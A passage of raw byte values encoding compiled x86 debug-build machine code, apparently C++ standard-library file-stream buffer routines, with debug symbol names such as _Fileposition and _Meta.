255,137,133,8,255,255,255,141,69,8,80,141,141,8,255,255,255,81,232,105,232,255,255,131,196,8,15,182,208,133,210,117,62,139,244,139,77,248,255,21,184,52,2,16,59,244,232,200,234,255,255,131,232,1,80,232,55,235,255,255,131,196,4,137,133,20,255,255,255,141,69,8,80,141,141,20,255,255,255,81,232,43,232,255,255,131,196,8,15,182,208,133,210,116,40,139,244,139,77,248,255,21,196,52,2,16,59,244,232,138,234,255,255,141,69,8,80,232,161,232,255,255,131,196,4,233,195,0,0,0,233,190,0,0,0,139,69,248,131,120,84,0,116,37,232,33,233,255,255,137,133,32,255,255,255,141,69,8,80,141,141,32,255,255,255,81,232,213,231,255,255,131,196,8,15,182,208,133,210,116,15,232,252,232,255,255,233,134,0,0,0,233,129,0,0,0,139,69,248,131,120,68,0,117,54,141,69,8,80,232,128,233,255,255,131,196,4,136,133,47,255,255,255,139,77,248,139,81,84,82,141,133,47,255,255,255,80,232,185,233,255,255,131,196,8,15,182,200,133,201,116,7,139,69,8,235,68,235,66,139,244,139,77,248,255,21,184,52,2,16,59,244,232,230,233,255,255,139,77,248,131,193,72,59,193,116,33,141,69,8,80,232,46,233,255,255,131,196,4,139,77,248,136,65,72,139,77,248,232,10,232,255,255,139,69,8,235,7,235,5,232,113,232,255,255,95,94,91,129,196,252,0,0,0,59,236,232,166,233,255,255,139,229,93,194,4,0,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,85,139,236,129,236,228,0,0,0,83,86,87,81,141,189,28,255,255,255,185,57,0,0,0,184,204,204,204,204,243,171,89,137,77,248,139,244,139,77,248,255,21,184,52,2,16,59,244,232,245,232,255,255,133,192,116,73,139,244,139,77,248,255,21,184,52,2,16,59,244,232,223,232,255,255,139,240,139,252,139,77,248,255,21,180,52,2,16,59,252,232,203,232,255,255,59,240,115,31,139,244,139,77,248,255,21,184,52,2,16,59,244,232,181,232,255,255,80,232,39,233,255,255,131,196,4,235,100,235,98,139,69,248,139,16,139,244,139,77,248,139,66,28,255,208,59,244,232,146,232,255,255,137,69,236,232,69,231,255,255,137,133,32,255,255,255,141,77,236,81,141,149,32,255,255,255,82,232,249,229,255,255,131,196,8,15,182,192,133,192,116,7,139,69,236,235,31,235,29,139,244,139,69,236,80,139,77,248,139,17,139,77,248,139,66,16,255,208,59,244,232,73,232,255,255,139,69,236,82,139,205,80,141,21,252,43,1,16,232,173,229,255,255,88,90,95,94,91,129,196,228,0,0,0,59,236,232,37,232,255,255,139,229,93,195,141,73,0,1,0,0,0,4,44,1,16,236,255,255,255,4,0,0,0,16,44,1,16,95,77,101,116,97,0,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,85,139,236,106,255,104,239,180,1,16,100,161,0,0,0,0,80,129,236,244,1,0,0,83,86,87,81,141,189,0,254,255,255,185,125,0,0,0,184,204,204,204,204,243,171,89,161,12,34,2,16,51,197,137,69,240,80,141,69,244,100,163,0,0,0,0,137,77,232,139,244,139,77,232,255,21,184,52,2,16,59,244,232,99,231,255,255,133,192,116,76,139,244,139,77,232,255,21,184,52,2,16,59,244,232,77,231,255,255,139,240,139,252,139,77,232,255,21,180,52,2,16,59,252,232,57,231,255,255,59,240,115,34,139,244,139,77,232,255,21,172,52,2,16,59,244,232,35,231,255,255,80,232,149,231,255,255,131,196,4,233,179,3,0,0,235,19,139,69,232,131,120,84,0,117,10,232,192,229,255,255,233,158,3,0,0,139,77,232,232,146,227,255,255,139,69,232,131,120,68,0,117,77,198,69,223,0,139,69,232,139,72,84,81,141,85,223,82,232,93,231,255,255,131,196,8,15,182,192,133,192,116,20,141,77,223,81,232,64,231,255,255,131,196,4,137,133,16,254,255,255,235,11,232,115,229,255,255,137,133,16,254,255,255,139,133,16,254,255,255,233,69,3,0,0,233,64,3,0,0,141,77,180,232,32,227,255,255,199,69,252,0,0,0,0,139,244,139,69,232,139,72,84,81,255,21,8,54,2,16,131,196,4,59,244,232,122,230,255,255,137,133,120,255,255,255,131,189,120,255,255,255,255,117,37,232,33,229,255,255,137,133,24,254,255,255,199,69,252,255,255,255,255,141,77,180,232,36,230,255,255,139,133,24,254,255,255,233,228,2,0,0,15,182,133,120,255,255,255,80,106,1,141,77,180,232,26,231,255,255,139,244,141,69,156,80,141,77,172,81,141,85,171,82,141,69,144,80,141,141,48,254,255,255,81,141,77,180,232,33,226,255,255,137,133,16,254,255,255,139,149,16,254,255,255,137,149,12,254,255,255,198,69,252,1,139,141,12,254,255,255,232,232,229,255,255,139,248,141,77,180,232,61,230,255,255,3,248,87,141,133,68,254,255,255,80,141,77,180,232,228,225,255,255,137,133,8,254,255,255,139,141,8,254,255,255,137,141,4,254,255,255,198,69,252,2,139,141,4,254,255,255,232,171,229,255,255,80,139,85,232,131,194,76,82,139,69,232,139,72,68,255,21,176,52,2,16,59,244,232,154,229,255,255,137,133,36,254,255,255,198,69,252,1,141,141,68,254,255,255,232,75,227,255,255,198,69,252,0,141,141,48,254,255,255,232,60,227,255,255,139,141,36,254,255,255,137,141,0,254,255,255,131,189,0,254,255,255,0,15,140,197,1,0,0,131,189,0,254,255,255,1,126,18,131,189,0,254,255,255,3,15,132,26,1,0,0,233,170,1,0,0,139,69,156,141,77,171,59,193,15,132,179,0,0,0,141,133,88,254,255,255,80,141,77,180,232,51,225,255,255,137,133,16,254,255,255,139,141,16,254,255,255,137,141,12,254,255,255,198,69,252,3,139,141,12,254,255,255,232,250,228,255,255,139,240,141,77,180,232,79,229,255,255,3,240,43,117,144,137,117,132,198,69,252,0,141,141,88,254,255,255,232,169,226,255,255,131,125,132,0,126,46,139,69,132,131,232,1,137,69,132,139,244,139,77,232,139,81,84,82,139,69,144,3,69,132,15,190,8,81,255,21,12,54,2,16,131,196,8,59,244,232,177,228,255,255,235,204,141,69,171,80,232,30,229,255,255,131,196,4,137,133,108,254,255,255,199,69,252,255,255,255,255,141,77,180,232,97,228,255,255,139,133,108,254,255,255,233,33,1,0,0,235,79,141,133,120,254,255,255,80,141,77,180,232,128,224,255,255,137,133,16,254,255,255,139,141,16,254,255,255,137,141,12,254,255,255,198,69,252,4,139,141,12,254,255,255,232,71,228,255,255,139,85,144,43,208,82,106,0,141,77,180,232,87,226,255,255,198,69,252,0,141,141,120,254,255,255,232,248,225,255,255,233,183,0,0,0,141,77,180,232,122,228,255,255,131,248,1,115,5,233,165,0,0,0,139,244,106,1,141,133,140,254,255,255,80,141,77,180,232,22,224,255,255,137,133,16,254,255,255,139,141,16,254,255,255,137,141,12,254,255,255,198,69,252,5,139,141,12,254,255,255,232,221,227,255,255,80,106,1,141,85,171,82,255,21,16,54,2,16,131,196,16,59,244,232,208,227,255,255,198,69,252,0,141,141,140,254,255,255,232,135,225,255,255,141,69,171,80,232,48,228,255,255,131,196,4,137,133,160,254,255,255,199,69,252,255,255,255,255,141,77,180,232,115,227,255,255,139,133,160,254,255,255,235,54,232,78,226,255,255,137,133,172,254,255,255,199,69,252,255,255,255,255,141,77,180,232,81,227,255,255,139,133,172,254,255,255,235,20,233,222,252,255,255,199,69,252,255,255,255,255,141,77,180,232,53,227,255,255,82,139,205,80,141,21,244,48,1,16,232,201,224,255,255,88,90,139,77,244,100,137,13,0,0,0,0,89,95,94,91,139,77,240,51,205,232,141,223,255,255,129,196,0,2,0,0,59,236,232,44,227,255,255,139,229,93,195,139,255,5,0,0,0,252,48,1,16,223,255,255,255,1,0,0,0,76,49,1,16,180,255,255,255,32,0,0,0,71,49,1,16,171,255,255,255,1,0,0,0,67,49,1,16,156,255,255,255,4,0,0,0,61,49,1,16,144,255,255,255,4,0,0,0,56,49,1,16,95,83,114,99,0,95,68,101,115,116,0,95,67,104,0,95,83,116,114,0,95,67,104,0,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,85,139,236,129,236,220,0,0,0,83,86,87,81,141,189,36,255,255,255,185,55,0,0,0,184,204,204,204,204,243,171,89,137,77,248,139,244,139,77,248,255,21,184,52,2,16,59,244,232,85,225,255,255,139,77,248,131,193,72,59,193,117,33,131,125,20,1,117,27,139,69,248,131,120,68,0,117,18,139,69,12,131,232,1,139,77,16,131,217,0,137,69,12,137,77,16,139,69,248,131,120,84,0,116,103,139,77,248,232,31,224,255,255,15,182,192,133,192,116,88,139,69,12,11,69,16,117,6,131,125,20,1,116,41,139,244,139,69,20,80,139,77,16,81,139,85,12,82,139,69,248,139,72,84,81,255,21,0,54,2,16,131,196,16,59,244,232,223,224,255,255,133,192,117,33,139,244,141,69,232,80,139,77,248,139,81,84,82,255,21,4,54,2,16,131,196,8,59,244,232,190,224,255,255,133,192,116,25,161,168,52,2,16,139,72,4,81,139,16,82,139,77,8,232,227,223,255,255,139,69,8,235,34,139,77,248,232,51,221,255,255,139,69,236,80,139,77,232,81,139,85,248,139,66,76,80,139,77,8,232,220,224,255,255,139,69,8,82,139,205,80,141,21,196,51,1,16,232,230,221,255,255,88,90,95,94,91,129,196,220,0,0,0,59,236,232,94,224,255,255,139,229,93,194,20,0,139,255,1,0,0,0,204,51,1,16,232,255,255,255,8,0,0,0,216,51,1,16,95,70,105,108,101,112,111,115,105,116,105,111,110,0,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,85,139,236,129,236,236,0,0,0,83,86,87,81,141,189,20,255,255,255,185,59,0,0,0,184,204,204,204,204,243,171,89,137,77,248,141,77,12,232,54,224,255,255,137,69,232,137,85,236,141,77,12,232,126,223,255,255,139,200,139,242,139,69,232,153,43,200,27,242,137,77,216,137,117,220,139,69,248,131,120,84,0,15,132,128,0,0,0,139,77,248,232,128,222,255,255,15,182,192,133,192,116,113,139,244,141,69,232,80,139,77,248,139,81,84,82,255,21,252,53,2,16,131,196,8,59,244,232,86,223,255,255,133,192,117,80,139,69,216,11,69,220,116,39,139,244,106,1,139,69,220,80,139,77,216,81,139,85,248,139,66,84,80,255,21,0,54,2,16,131,196,16,59,244,232,39,223,255,255,133,192,117,33,139,244,141,69,232,80,139,77,248,139,81,84,82,255,21,4,54,2,16,131,196,8,59,244,232,6,223,255,255,133,192,116,25,161,168,52,2,16,139,72,4,81,139,16,82,139,77,8,232,43,222,255,255,139,69,8,235,48,141,77,12,232,248,219,255,255,139,77,248,137,65,76,139,77,248,232,109,219,255,255,139,69,236,80,139,77,232,81,139,85,248,139,66,76,80,139,77,8,232,22,223,255,255,139,69,8,82,139,205,80,141,21,136,53,1,16,232,32,220,255,255,88,90,95,94,91,129,196,236,0,0,0,59,236,232,152,222,255,255,139,229,93,194,32,0,1,0,0,0,144,53,1,16,232,255,255,255,8,0,0,0,156,53,1,16,95,70,105,108,101,112,111,115,105,116,105,111,110,0,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,85,139,236,129,236,208,0,0,0,83,86,87,81,141,189,48,255,255,255,185,52,0,0,0,184,204,204,204,204,243,171,89,137,77,248,139,69,248,131,120,84,0,116,80,131,125,8,0,117,20,139,69,12,11,69,16,117,12,199,133,48,255,255,255,4,0,0,0,235,10,199,133,48,255,255,255,0,0,0,0,139,77,12,139,244,81,139,149,48,255,255,255,82,139,69,8,80,139,77,248,139,81,84,82,255,21,248,53,2,16,131,196,16,59,244,232,146,221,255,255,133,192,116,6,51,192,235,22,235,20,106,1,139,69,248,139,72,84,81,139,77,248,232,185,220,255,255,139,69,248,95,94,91,129,196,208,0,0,0,59,236,232,100,221,255,255,139,229,93,194,12,0,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,85,139,236,129,236,232,0,0,0,83,86,87,81,141,189,24,255,255,255,185,58,0,0,0,184,204,204,204,204,243,171,89,137,77,248,139,69,248,131,120,84,0,116,115,232,180,219,255,255,139,244,80,139,77,248,139,17,139,77,248,139,66,12,255,208,59,244,232,226,220,255,255,137,133,32,255,255,255,232,146,219,255,255,137,133,44,255,255,255,141,141,32,255,255,255,81,141,149,44,255,255,255,82,232,67,218,255,255,131,196,8,15,182,192,133,192,117,41,139,244,139,77,248,139,81,84,82,255,21,40,54,2,16,131,196,4,59,244,232,155,220,255,255,133,192,125,12,199,133,24,255,255,255,255,255,255,255,235,10,199,133,24,255,255,255,0,0,0,0,139,133,24,255,255,255,95,94,91,129,196,232,0,0,0,59,236,232,107,220,255,255,139,229,93,195,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,85,139,236,129,236,204,0,0,0,83,86,87,81,141,189,52,255,255,255,185,51,0,0,0,184,204,204,204,204,243,171,89,137,77,248,139,69,8,80,232,42,216,255,255,131,196,4,80,139,77,248,232,171,220,255,255,95,94,91,129,196,204,0,0,0,59,236,232,226,219,255,255,139,229,93,194,4,0,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,85,139,236,129,236,204,0,0,0,83,86,87,81,141,189,52,255,255,255,185,51,0,0,0,184,204,204,204,204,243,171,89,137,77,248,139,77,248,131,233,96,232,183,216,255,255,139,69,8,131,224,1,116,15,139,69,248,131,232,96,80,232,248,216,255,255,131,196,4,139,69,248,131,232,96,95,94,91,129,196,204,0,0,0,59,236,232,95,219,255,255,139,229,93,194,4,0,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,85,139,236,129,236,204,0,0,0,83,86,87,81,141,189,52,255,255,255,185,51,0,0,0,184,204,204,204,204,243,171,89,137,77,248,139,77,248,232,39,215,255,255,139,69,8,131,224,1,116,12,139,69,248,80,232,126,216,255,255,131,196,4,139,69,248,95,94,91,129,196,204,0,0,0,59,236,232,232,218,255,255,139,229,93,194,4,0,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,85,139,236,129,236,204,0,0,0,83,86,87,81,141,189,52,255,255,255,185,51,0,0,0,184,204,204,204,204,243,171,89,137,77,248,139,77,248,232,17,220,255,255,95,94,91,129,196,204,0,0,0,59,236,232,143,218,255,255,139,229,93,195,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,85,139,236,129,236,204,0,0,0,83,86,87,81,141,189,52,255,255,255,185,51,0,0,0,184,204,204,204,204,243,171,89,137,77,248,139,77,248,232,73,219,255,255,95,94,91,129,196,204,0,0,0,59,236,232,63,218,255,255,139,229,93,195,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,85,139,236,129,236,204,0,0,0,83,86,87,81,141,189,52,255,255,255,185,51,0,0,0,184,204,204,204,204,243,171,89,137,77,248,139,77,248,232,178,219,255,255,95,94,91,129,196,204,0,0,0,59,236,232,239,217,255,255,139,229,93,195,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,85,139,236,129,236,216,0,0,0,83,86,87,81,141,189,40,255,255,255,185,54,0,0,0,184,204,204,204,204,243,171,89,137,77,248,199,133,44,255,255,255,0,0,0,0,139,69,248,80,139,77,248,232,158,215,255,255,80,139,77,8,232,166,218,255,255,139,141,44,255,255,255,131,201,1,137,141,44,255,255,255,139,69,8,95,94,91,129,196,216,0,0,0,59,236,232,118,217,255,255,139,229,93,194,4,0,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,85,139,236,129,236,204,0,0,0,83,86,87,81,141,189,52,255,255,255,185,51,0,0,0,184,204,204,204,204,243,171,89,137,77,248,139,69,248,199,0,0,0,0,0,199,64,4,0,0,0,0,139,69,248,139,77,12,137,72,8,139,85,16,137,80,12,139,69,248,139,77,8,137,72,16,139,69,248,95,94,91,139,229,93,194,12,0,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,85,139,236,129,236,204,0,0,0,83,86,87,81,141,189,52,255,255,255,185,51,0,0,0,184,204,204,204,204,243,171,89,137,77,248,139,69,248,139,64,16,95,94,91,139,229,93,195,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,85,139,236,129,236,204,0,0,0,83,86,87,81,141,189,52,255,255,255,185,51,0,0,0,184,204,204,204,204,243,171,89,137,77,248,139,77,248,139,65,8,139,81,12,95,94,91,139,229,93,195,204,204,204,204,204,204,204,204,204,204,204,204,204,85,139,236,129,236,204,0,0,0,83,86,87,81,141,189,52,255,255,255,185,51,0,0,0,184,204,204,204,204,243,171,89,137,77,248,139,69,248,139,64,8,153,139,77,248,3,1,19,81,4,95,94,91,139,229,93,195,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,85,139,236,106,255,104,66,181,1,16,100,161,0,0,0,0,80,129,236,204,0,0,0,83,86,87,81,141,189,40,255,255,255,185,51,0,0,0,184,204,204,204,204,243,171,89,161,12,34,2,16,51,197,80,141,69,244,100,163,0,0,0,0,137,77,236,139,244,139,77,236,255,21,164,52,2,16,59,244,232,182,215,255,255,199,69,252,0,0,0,0,139,69,236,199,0,220,246,1,16,106,0,139,69,8,80,139,77,236,232,218,214,255,255,199,69,252,255,255,255,255,139,69,236,139,77,244,100,137,13,0,0,0,0,89,95,94,91,129,196,216,0,0,0,59,236,232,115,215,255,255,139,229,93,194,4,0,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,85,139,236,106,255,104,123,181,1,16,100,161,0,0,0,0,80,129,236,236,0,0,0,83,86,87,81,141,189,8,255,255,255,185,59,0,0,0,184,204,204,204,204,243,171,89,161,12,34,2,16,51,197,80,141,69,244,100,163,0,0,0,0,137,77,236,139,69,236,131,120,84,0,117,39,139,244,139,69,16,80,139,77,12,81,139,85,8,82,255,21,156,52,2,16,131,196,12,59,244,232,209,214,255,255,137,69,224,131,125,224,0,117,4,51,192,235,109,106,1,139,69,224,80,139,77,236,232,248,213,255,255,139,244,141,133,20,255,255,255,80,139,77,236,255,21,160,52,2,16,59,244,232,157,214,255,255,137,133,12,255,255,255,139,141,12,255,255,255,137,141,8,255,255,255,199,69,252,0,0,0,0,139,149,8,255,255,255,82,232,164,210,255,255,131,196,4,80,139,77,236,232,37,215,255,255,199,69,252,255,255,255,255,141,141,20,255,255,255,232,169,210,255,255,139,69,236,139,77,244,100,137,13,0,0,0,0,89,95,94,91,129,196,248,0,0,0,59,236,232,60,214,255,255,139,229,93,194,12,0,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,85,139,236,129,236,216,0,0,0,83,86,87,81,141,189,40,255,255,255,185,54,0,0,0,184,204,204,204,204,243,171,89,137,77,248,139,69,248,137,69,236,139,69,248,131,120,84,0,117,9,199,69,236,0,0,0,0,235,58,139,77,248,232,173,212,255,255,15,182,192,133,192,117,7,199,69,236,0,0,0,0,139,244,139,69,248,139,72,84,81,255,21,240,53,2,16,131,196,4,59,244,232,128,213,255,255,133,192,116,7,199,69,236,0,0,0,0,106,2,106,0,139,77,248,232,171,212,255,255,139,69,236,95,94,91,129,196,216,0,0,0,59,236,232,86,213,255,255,139,229,93,195,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,85,139,236,129,236,252,0,0,0,83,86,87,81,141,189,4,255,255,255,185,63,0,0,0,184,204,204,204,204,243,171,89,137,77,248,51,192,131,125,12,1,15,148,192,139,77,248,136,65,80,139,69,248,198,64,73,0,139,244,139,77,248,255,21,148,52,2,16,59,244,232,223,212,255,255,131,125,8,0,116,84,184,1,0,0,0,133,192,116,75,139,69,8,131,192,8,137,69,236,139,69,8,137,69,224,139,69,8,131,192,4,137,69,212,139,69,8,131,192,4,137,69,200,139,244,139,69,200,80,139,77,224,81,139,85,236,82,139,69,212,80,139,77,224,81,139,85,236,82,139,77,248,255,21,152,52,2,16,59,244,232,133,212,255,255,139,69,248,139,77,8,137,72,84,139,69,248,139,13,96,35,2,16,137,72,76,139,69,248,199,64,68,0,0,0,0,95,94,91,129,196,252,0,0,0,59,236,232,86,212,255,255,139,229,93,194,8,0,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,85,139,236,106,255,104,251,181,1,16,100,161,0,0,0,0,80,129,236,236,1,0,0,83,86,87,81,141,189,8,254,255,255,185,123,0,0,0,184,204,204,204,204,243,171,89,161,12,34,2,16,51,197,137,69,240,80,141,69,244,100,163,0,0,0,0,137,77,232,199,133,208,254,255,255,0,0,0,0,139,69,232,131,120,68,0,116,11,139,69,232,15,182,72,73,133,201,117,12,176,1,233,9,3,0,0,233,4,3,0,0,199,69,220,8,0,0,0,232,90,210,255,255,139,244,80,139,69,232,139,16,139,77,232,139,66,12,255,208,59,244,232,136,211,255,255,137,133,32,254,255,255,232,56,210,255,255,137,133,44,254,255,255,141,141,32,254,255,255,81,141,149,44,254,255,255,82,232,233,208,255,255,131,196,8,15,182,192,133,192,116,7,50,192,233,172,2,0,0,106,0,106,8,141,77,168,232,176,211,255,255,199,69,252,0,0,0,0,139,244,141,69,208,80,141,141,68,254,255,255,81,141,77,168,232,57,207,255,255,137,133,24,254,255,255,139,149,24,254,255,255,137,149,20,254,255,255,198,69,252,1,139,141,20,254,255,255,232,0,211,255,255,139,248,141,77,168,232,85,211,255,255,3,248,87,141,133,88,254,255,255,80,141,77,168,232,252,206,255,255,137,133,16,254,255,255,139,141,16,254,255,255,137,141,12,254,255,255,198,69,252,2,139,141,12,254,255,255,232,195,210,255,255,80,139,85,232,131,194,76,82,139,69,232,139,72,68,255,21,144,52,2,16,59,244,232,178,210,255,255,137,133,56,254,255,255,198,69,252,1,141,141,88,254,255,255,232,99,208,255,255,198,69,252,0,141,141,68,254,255,255,232,84,208,255,255,139,141,56,254,255,255,137,141,8,254,255,255,131,189,8,254,255,255,0,116,27,131,189,8,254,255,255,1,116,25,131,189,8,254,255,255,3,15,132,108,1,0,0,233,133,1,0,0,139,69,232,198,64,73,0,141,133,108,254,255,255,80,141,77,168,232,86,206,255,255,137,133,24,254,255,255,139,141,24,254,255,255,137,141,20,254,255,255,198,69,252,3,139,141,20,254,255,255,232,29,210,255,255,139,85,208,43,208,137,85,156,198,69,252,0,141,141,108,254,255,255,232,214,207,255,255,131,125,156,0,118,112,139,244,139,69,232,139,72,84,81,139,85,156,82,106,1,141,133,140,254,255,255,80,141,77,168,232,250,205,255,255,137,133,24,254,255,255,139,141,24,254,255,255,137,141,20,254,255,255,198,69,252,4,139,149,208,254,255,255,131,202,1,137,149,208,254,255,255,139,141,20,254,255,255,232,178,209,255,255,80,255,21,20,54,2,16,131,196,16,59,244,232,171,209,255,255,57,69,156,116,12,199,133,16,254,255,255,1,0,0,0,235,10,199,133,16,254,255,255,0,0,0,0,138,133,16,254,255,255,136,133,131,254,255,255,199,69,252,0,0,0,0,139,141,208,254,255,255,131,225,1,116,18,131,165,208,254,255,255,254,141,141,140,254,255,255,232,38,207,255,255,15,182,149,131,254,255,255,133,210,116,33,198,133,163,254,255,255,0,199,69,252,255,255,255,255,141,77,168,232,18,209,255,255,138,133,163,254,255,255,233,141,0,0,0,139,69,232,15,182,72,73,133,201,117,30,198,133,175,254,255,255,1,199,69,252,255,255,255,255,141,77,168,232,230,208,255,255,138,133,175,254,255,255,235,100,131,125,156,0,117,12,106,0,106,8,141,77,168,232,223,209,255,255,235,60,198,133,187,254,255,255,1,199,69,252,255,255,255,255,141,77,168,232,180,208,255,255,138,133,187,254,255,255,235,50,198,133,199,254,255,255,0,199,69,252,255,255,255,255,141,77,168,232,150,208,255,255,138,133,199,254,255,255,235,20,233,118,253,255,255,199,69,252,255,255,255,255,141,77,168,232,122,208,255,255,82,139,205,80,141,21,176,67,1,16,232,14,206,255,255,88,90,139,77,244,100,137,13,0,0,0,0,89,95,94,91,139,77,240,51,205,232,210,204,255,255,129,196,248,1,0,0,59,236,232,113,208,255,255,139,229,93,195,141,73,0,2,0,0,0,184,67,1,16,208,255,255,255,4,0,0,0,213,67,1,16,168,255,255,255,32,0,0,0,208,67,1,16,95,83,116,114,0,95,68,101,115,116,0,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,85,139,236,129,236,204,0,0,0,83,86,87,81,141,189,52,255,255,255,185,51,0,0,0,184,204,204,204,204,243,171,89,137,77,248,139,244,139,77,8,255,21,140,52,2,16,59,244,232,5,207,255,255,15,182,192,133,192,116,12,139,69,248,199,64,68,0,0,0,0,235,27,139,69,248,139,77,8,137,72,68,139,244,139,77,248,255,21,148,52,2,16,59,244,232,215,206,255,255,95,94,91,129,196,204,0,0,0,59,236,232,199,206,255,255,139,229,93,194,4,0,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,85,139,236,129,236,204,0,0,0,83,86,87,81,141,189,52,255,255,255,185,51,0,0,0,184,204,204,204,204,243,171,89,137,77,248,139,244,139,77,248,255,21,192,52,2,16,59,244,232,101,206,255,255,139,77,248,131,193,72,59,193,117,39,139,244,139,69,248,139,72,64,81,139,85,248,139,66,64,80,139,77,248,139,81,60,82,139,77,248,255,21,84,52,2,16,59,244,232,52,206,255,255,95,94,91,129,196,204,0,0,0,59,236,232,36,206,255,255,139,229,93,195,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,85,139,236,129,236,204,0,0,0,83,86,87,81,141,189,52,255,255,255,185,51,0,0,0,184,204,204,204,204,243,171,89,137,77,248,139,244,139,77,248,255,21,192,52,2,16,59,244,232,197,205,255,255,139,77,248,131,193,72,59,193,116,48,139,244,139,77,248,255,21,192,52,2,16,59,